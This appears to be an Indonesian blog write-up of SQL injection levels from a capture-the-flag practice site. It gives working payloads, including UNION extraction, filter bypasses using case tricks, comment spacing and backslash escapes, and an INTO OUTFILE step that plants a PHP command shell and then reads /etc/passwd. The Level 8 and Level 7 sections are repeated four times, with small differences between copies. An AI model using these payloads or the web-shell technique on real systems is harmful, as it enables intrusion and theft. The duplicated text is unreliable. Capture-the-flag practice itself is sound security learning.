Writeups SQLi CTFSme – Halo semuanya, sepertinya sudah lama mimin tak posting. Kali ini mimin ingin sharing lagi terkait Keamanan jaringan yaitu tentang Capture The Flag atau CTF, tapi kali ini kita akan membahas penyelesaian soal-soal yang terdapat pada web ctfs.me
Untuk mengetahui apa itu CTF bisa dilihat melalui https://yohan.es/ctf/
Daripada kelamaan basa basi, langsung saja kita bahas 🙂
Sebelumnya, bagi yang belum tau soalnya secara lengkap bisa dilihat melalui http://35.184.20.243:8003/, jika sudah mari kita lanjutkan.
SQLi Level 1
Terdapat query
1 |
$query = "SELECT * FROM secrets WHERE session_id = '" . $_POST['session_id'] . "'"; |
Solusi ? Kita tinggal masukkan payload
1 |
' or 1=1 -- - |
pada form session_id, maka langsung dapat flagnya
CTFS{disamarkan}
SQLi Level 2
Perhatikan source codenya
1 2 3 |
// $query = "SELECT flag FROM my_secret_table"; We leave commented code in production because we're cool. $query = "SELECT username FROM users where username = '" . $_POST['username'] . "' and password = ?"; |
Kita lihat query pertama yang diberi komentar sepertinya sangat menarique dan sangat jelas itulah lokasi flagnya :v
Solusi ? Kita pakai UNION Operator untuk dapat mengakses flagnya
1 |
' and false union select flag from my_secret_table -- - |
Kemudian violaaa dapet flagnya 🙂
Welcome
CTFS{disamarkan}! Here’s some green text for you.
CTFS{disamarkan2}
SQLi Level 3
Perhatikan source code berikut
1 2 3 4 5 6 7 8 9 |
if (isset($_GET['q'])) { $filter = array('union', 'select'); // Remove all banned characters foreach ($filter as $banned) { $_GET['q'] = preg_replace('/' . $banned . '/i', '', $_GET['q']); } } |
Wah ada filternya, hemm kerad juga kamu ya
ehem, balik ke topik awal. Sepertinya yang difilter hanya union dan select
lagipula proses filter hanya menggunakan preg_replace sehingga kita bisa akali dengan cara mengganti union dengan UNIunionON dan select dengan SELselectECT
Kemudian, lihat querynya
1 |
$query = "SELECT * FROM search_engine WHERE title LIKE '%" . $_GET['q']. "%' OR description LIKE '%" . $_GET['q'] . "%' OR link LIKE '%" . $_GET['q'] . "%';"; |
Query seperti ini bisa langsung kita hajar dengan menggunakan UNION operator, oke langsung saja ikuzo minna !!!
1 |
' and false UNIunionON SELselectECT 1,2,3 -- - |
wah dan ternyata nongol angka 1, 2, dan 3 pada hasil pencarian, artinya terdapat 3 kolom.
lansung hajaaar !!! IKUZOOOO !!!
1 |
' and false UNIunionON SELselectECT 1,2,(SELselectECT password from users) -- - |
Violaa dapat flagnya yay
CTFS{disamarkan}
SQLi Level 4
Perhatikan source code berikut
1 2 3 4 5 6 7 8 9 10 |
if (isset($_GET['q'])) { $filter = array('UNION', 'SELECT'); // Remove all banned characters foreach ($filter as $banned) { if (strpos($_GET['q'], $banned) !== false) die("Hacker detected"); if (strpos($_GET['q'], strtolower($banned)) !== false) die("Hacker detected"); } } |
Waw filter lagi afuuu, tapi sepertinya ez karena menggunakan strpos dan hanya mengecek string yg semua kapital atau semua non kapital. Akan tetapi kita bisa akali dengan mengubah salah satu karakter saja menjadi kapital agar tidak terkena filter yang menyebalkan, lagipula sama seperti diatas juga querynya. Langsung saja hajar IKUZOOO !!!
1 |
' and 0 Union Select 1,2,(Select password from users) -- - |
Nais, dapat flag lagi
CTFS{disamarkan}
SQLi Level 5
Masih sama seperti diatas, tapi kita perhatikan lagi source codenya
1 2 3 4 |
if (isset($_GET['q'])) { // Ban space character if (strpos($_GET['q'], " ") !== false) die("Hacker detected"); } |
NANI !!!? FILTER LAGI ??? Afuuuu
Tapi sepertinya msh mudah, karena cuma filter spasi saja :v
Tenang, bisa diakali menggunakan /**/
Oke, langsung kita hajar ikuzoo !!!
1 |
'/**/and/**/0/**/union/**/select/**/1,2,(select/**/password/**/from/**/users)# |
Hore dapet flag
CTFS{disamarkan}
SQLi Level 6
Yak, masih dunia SQLi
Kita perhatikan lagi source codenya
1 2 3 4 5 |
if (isset($_GET['q'])) { // Ban space character if (strpos($_GET['q'], "'") !== false) die("Hacker detected"); if (strpos($_GET['q'], '"') !== false) die("Hacker detected"); } |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA FILTER LAGIIIIIIII 🙁
Mana yang difiler itu tanda petik pula, oke kali ini lumayan kerad yah kamu
Loh, kalau tanda petik bagaimana cara kita membypassnya ?
Mudah, cukup menggunakan backslash \
Ayo saatnya kita sleding kids !!!
1 |
and 0 union select 1,2,(select password from users)#\ |
Akhirnya dapet flag yay
CTFS{disamarkan}
SQLi Level 8
Ano . . sepertinya kita ke level 8 dlu yah untuk nyari flag level 7 wkakak
Kali ini kita tidak diberikan source, namun ada hint yg menarik
1 |
There's only one way to find out : let's pop a shell. |
Ini dia bagian yang paling menarik, let’s pop a shell :v
Kita perhatikan source html nya
1 2 |
<!--<li><a href="/uploads/">Our files</a></li>--> <!--<li><a href="/phpinfo.php">Debug</a></li>--> |
Waduu ada folder uploads dan phpinfo nya 🙂
Berarti sudah jelas klo kita harus meng-upload shell kita pada folder uploads, untuk itu kita perlu melihat phpinfo nya
1 |
DOCUMENT_ROOT /var/www/html |
Bagian yang paling penting ialah DOCUMENT_ROOT, karena rootnya berada di /var/www/html maka kita perlu menguploadnya di /var/www/html/uploads
Bagaimana cara menguploadnya ? kita akan memanfaatkan fungsi dari MySQL yang bernama INTO OUTFILE
1 |
99 union select "< ? p h p passthru($_GET[\"cmd\"]); ? >","" into outfile "/var/www/html/uploads/sayahekel.php"# |
Kemudian kita akses http://35.184.20.243:8003/uploads/sayahekel.php?cmd=id melalui browser, dan akan muncul seperti ini
1 |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Artinya shell yang kita tanam berhasil kita akses, setelah ini kita langsung aja cari flagnya
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20../secret_level8_folder_you_wont_be_able_to_guess_without_actually_getting_a_shell/flag.php |
Nais, kiita dapat flag horeee
CTFS{disamarkan}
SQLi Level 7
Oke, baru kali ini kita akan cari flag level 7
Hint sudah jelas, suruh cek /etc/passwd
Sebenernya kalau kita menggunakan SQL Injection, kita bisa menggunakan fungsi load_file, namun entah knp /etc/passwd nya gk bsa dibuka, terpaksa kita gunakan shell dari level 8
Sehingga, dengan menggunakan shell yang sudah kita tanam, mari kita akses /etc/passwd nya 😀
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20/etc/passwd |
Yes flag terakhir dari Challenge SQLi kita dapatkan 🙂
CTFS{disamarkan}
Yap, mungkin hanya sekian yang dapat saya berikan untuk kalian semua
Jika ada pertanyaan silakan tanya saja di kolom komentar 😀
Maaf kalau kurang jelas, karena mimin juga masih belajar hehehe
Salam damai ~ ( web ini jgn dirusak yah :v )
SQLi Level 8
Ano . . sepertinya kita ke level 8 dlu yah untuk nyari flag level 7 wkakak
Kali ini kita tidak diberikan source, namun ada hint yg menarik
1 |
There's only one way to find out : let's pop a shell. |
Ini dia bagian yang paling menarik, let’s pop a shell :v
Kita perhatikan source html nya
1 2 |
<!--<li><a href="/uploads/">Our files</a></li>--> <!--<li><a href="/phpinfo.php">Debug</a></li>--> |
Waduu ada folder uploads dan phpinfo nya 🙂
Berarti sudah jelas klo kita harus meng-upload shell kita pada folder uploads, untuk itu kita perlu melihat phpinfo nya
1 |
DOCUMENT_ROOT /var/www/html |
Bagian yang paling penting ialah DOCUMENT_ROOT, karena rootnya berada di /var/www/html maka kita perlu menguploadnya di /var/www/html/uploads
Bagaimana cara menguploadnya ? kita akan memanfaatkan fungsi dari MySQL yang bernama INTO OUTFILE
1 |
99 union select "<?php passthru($_GET[\"cmd\"]); ?>","" into outfile "/var/www/html/uploads/sayahekel.php"# |
Kemudian kita akses http://35.184.20.243:8003/uploads/sayahekel.php?cmd=id melalui browser, dan akan muncul seperti ini
1 |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Artinya shell yang kita tanam berhasil kita akses, setelah ini kita langsung aja cari flagnya
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20../secret_level8_folder_you_wont_be_able_to_guess_without_actually_getting_a_shell/flag.php |
Nais, kiita dapat flag horeee
CTFS{1n_mysql_w3_tru5t}
SQLi Level 7
Oke, baru kali ini kita akan cari flag level 7
Sebenernya hint sudah jelas, suruh cek /etc/passwd
Sehingga, dengan menggunakan shell yang sudah kita tanam, mari kita akses /etc/passwd nya 😀
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20/etc/passwd |
Yes flag terakhir dari Challenge SQLi kita dapatkan 🙂
CTFS{596edd3089c594f26d032a95097f4df2}
Yap, mungkin hanya sekian yang dapat saya berikan untuk kalian semua
Jika ada pertanyaan silakan tanya saja di kolom komentar 😀
Maaf kalau kurang jelas, karena mimin juga masih belajar hehehe
Salam damai ~ ( web ini jgn dirusak yah :v )
SQLi Level 8
Ano . . sepertinya kita ke level 8 dlu yah untuk nyari flag level 7 wkakak
Kali ini kita tidak diberikan source, namun ada hint yg menarik
1 |
There's only one way to find out : let's pop a shell. |
Ini dia bagian yang paling menarik, let’s pop a shell :v
Kita perhatikan source html nya
1 2 |
<!--<li><a href="/uploads/">Our files</a></li>--> <!--<li><a href="/phpinfo.php">Debug</a></li>--> |
Waduu ada folder uploads dan phpinfo nya 🙂
Berarti sudah jelas klo kita harus meng-upload shell kita pada folder uploads, untuk itu kita perlu melihat phpinfo nya
1 |
DOCUMENT_ROOT /var/www/html |
Bagian yang paling penting ialah DOCUMENT_ROOT, karena rootnya berada di /var/www/html maka kita perlu menguploadnya di /var/www/html/uploads
Bagaimana cara menguploadnya ? kita akan memanfaatkan fungsi dari MySQL yang bernama INTO OUTFILE
1 |
99 union select "<?php passthru($_GET[\"cmd\"]); ?>","" into outfile "/var/www/html/uploads/sayahekel.php"# |
Kemudian kita akses http://35.184.20.243:8003/uploads/sayahekel.php?cmd=id melalui browser, dan akan muncul seperti ini
1 |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Artinya shell yang kita tanam berhasil kita akses, setelah ini kita langsung aja cari flagnya
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20../secret_level8_folder_you_wont_be_able_to_guess_without_actually_getting_a_shell/flag.php |
Nais, kiita dapat flag horeee
CTFS{1n_mysql_w3_tru5t}
SQLi Level 7
Oke, baru kali ini kita akan cari flag level 7
Sebenernya hint sudah jelas, suruh cek /etc/passwd
Sehingga, dengan menggunakan shell yang sudah kita tanam, mari kita akses /etc/passwd nya 😀
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20/etc/passwd |
Yes flag terakhir dari Challenge SQLi kita dapatkan 🙂
CTFS{596edd3089c594f26d032a95097f4df2}
Yap, mungkin hanya sekian yang dapat saya berikan untuk kalian semua
Jika ada pertanyaan silakan tanya saja di kolom komentar 😀
Maaf kalau kurang jelas, karena mimin juga masih belajar hehehe
Salam damai ~ ( web ini jgn dirusak yah :v )
SQLi Level 8
Ano . . sepertinya kita ke level 8 dlu yah untuk nyari flag level 7 wkakak
Kali ini kita tidak diberikan source, namun ada hint yg menarik
1 |
There's only one way to find out : let's pop a shell. |
Ini dia bagian yang paling menarik, let’s pop a shell :v
Kita perhatikan source html nya
1 2 |
<!--<li><a href="/uploads/">Our files</a></li>--> <!--<li><a href="/phpinfo.php">Debug</a></li>--> |
Waduu ada folder uploads dan phpinfo nya 🙂
Berarti sudah jelas klo kita harus meng-upload shell kita pada folder uploads, untuk itu kita perlu melihat phpinfo nya
1 |
DOCUMENT_ROOT /var/www/html |
Bagian yang paling penting ialah DOCUMENT_ROOT, karena rootnya berada di /var/www/html maka kita perlu menguploadnya di /var/www/html/uploads
Bagaimana cara menguploadnya ? kita akan memanfaatkan fungsi dari MySQL yang bernama INTO OUTFILE
1 |
99 union select "<?php passthru($_GET[\"cmd\"]); ?>","" into outfile "/var/www/html/uploads/sayahekel.php"# |
Kemudian kita akses http://35.184.20.243:8003/uploads/sayahekel.php?cmd=id melalui browser, dan akan muncul seperti ini
1 |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Artinya shell yang kita tanam berhasil kita akses, setelah ini kita langsung aja cari flagnya
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20../secret_level8_folder_you_wont_be_able_to_guess_without_actually_getting_a_shell/flag.php |
Nais, kiita dapat flag horeee
CTFS{1n_mysql_w3_tru5t}
SQLi Level 7
Oke, baru kali ini kita akan cari flag level 7
Sebenernya hint sudah jelas, suruh cek /etc/passwd
Sehingga, dengan menggunakan shell yang sudah kita tanam, mari kita akses /etc/passwd nya 😀
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20/etc/passwd |
Yes flag terakhir dari Challenge SQLi kita dapatkan 🙂
CTFS{596edd3089c594f26d032a95097f4df2}
Yap, mungkin hanya sekian yang dapat saya berikan untuk kalian semua
Jika ada pertanyaan silakan tanya saja di kolom komentar 😀
Maaf kalau kurang jelas, karena mimin juga masih belajar hehehe
Salam damai ~ ( web ini jgn dirusak yah :v )
SQLi Level 8
Ano . . sepertinya kita ke level 8 dlu yah untuk nyari flag level 7 wkakak
Kali ini kita tidak diberikan source, namun ada hint yg menarik
1 |
There's only one way to find out : let's pop a shell. |
Ini dia bagian yang paling menarik, let’s pop a shell :v
Kita perhatikan source html nya
1 2 |
<!--<li><a href="/uploads/">Our files</a></li>--> <!--<li><a href="/phpinfo.php">Debug</a></li>--> |
Waduu ada folder uploads dan phpinfo nya 🙂
Berarti sudah jelas klo kita harus meng-upload shell kita pada folder uploads, untuk itu kita perlu melihat phpinfo nya
1 |
DOCUMENT_ROOT /var/www/html |
Bagian yang paling penting ialah DOCUMENT_ROOT, karena rootnya berada di /var/www/html maka kita perlu menguploadnya di /var/www/html/uploads
Bagaimana cara menguploadnya ? kita akan memanfaatkan fungsi dari MySQL yang bernama INTO OUTFILE
1 |
99 union select "<?php passthru($_GET[\"cmd\"]); ?>","" into outfile "/var/www/html/uploads/sayahekel.php"# |
Kemudian kita akses http://35.184.20.243:8003/uploads/sayahekel.php?cmd=id melalui browser, dan akan muncul seperti ini
1 |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Artinya shell yang kita tanam berhasil kita akses, setelah ini kita langsung aja cari flagnya
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20../secret_level8_folder_you_wont_be_able_to_guess_without_actually_getting_a_shell/flag.php |
Nais, kiita dapat flag horeee
CTFS{1n_mysql_w3_tru5t}
SQLi Level 7
Oke, baru kali ini kita akan cari flag level 7
Sebenernya hint sudah jelas, suruh cek /etc/passwd
Sehingga, dengan menggunakan shell yang sudah kita tanam, mari kita akses /etc/passwd nya 😀
1 |
http://35.184.20.243:8003/uploads/sayahekel.php?cmd=cat%20/etc/passwd |
Yes flag terakhir dari Challenge SQLi kita dapatkan 🙂
CTFS{596edd3089c594f26d032a95097f4df2}
Yap, mungkin hanya sekian yang dapat saya berikan untuk kalian semua
Jika ada pertanyaan silakan tanya saja di kolom komentar 😀
Maaf kalau kurang jelas, karena mimin juga masih belajar hehehe
Salam damai ~ ( web ini jgn dirusak yah :v )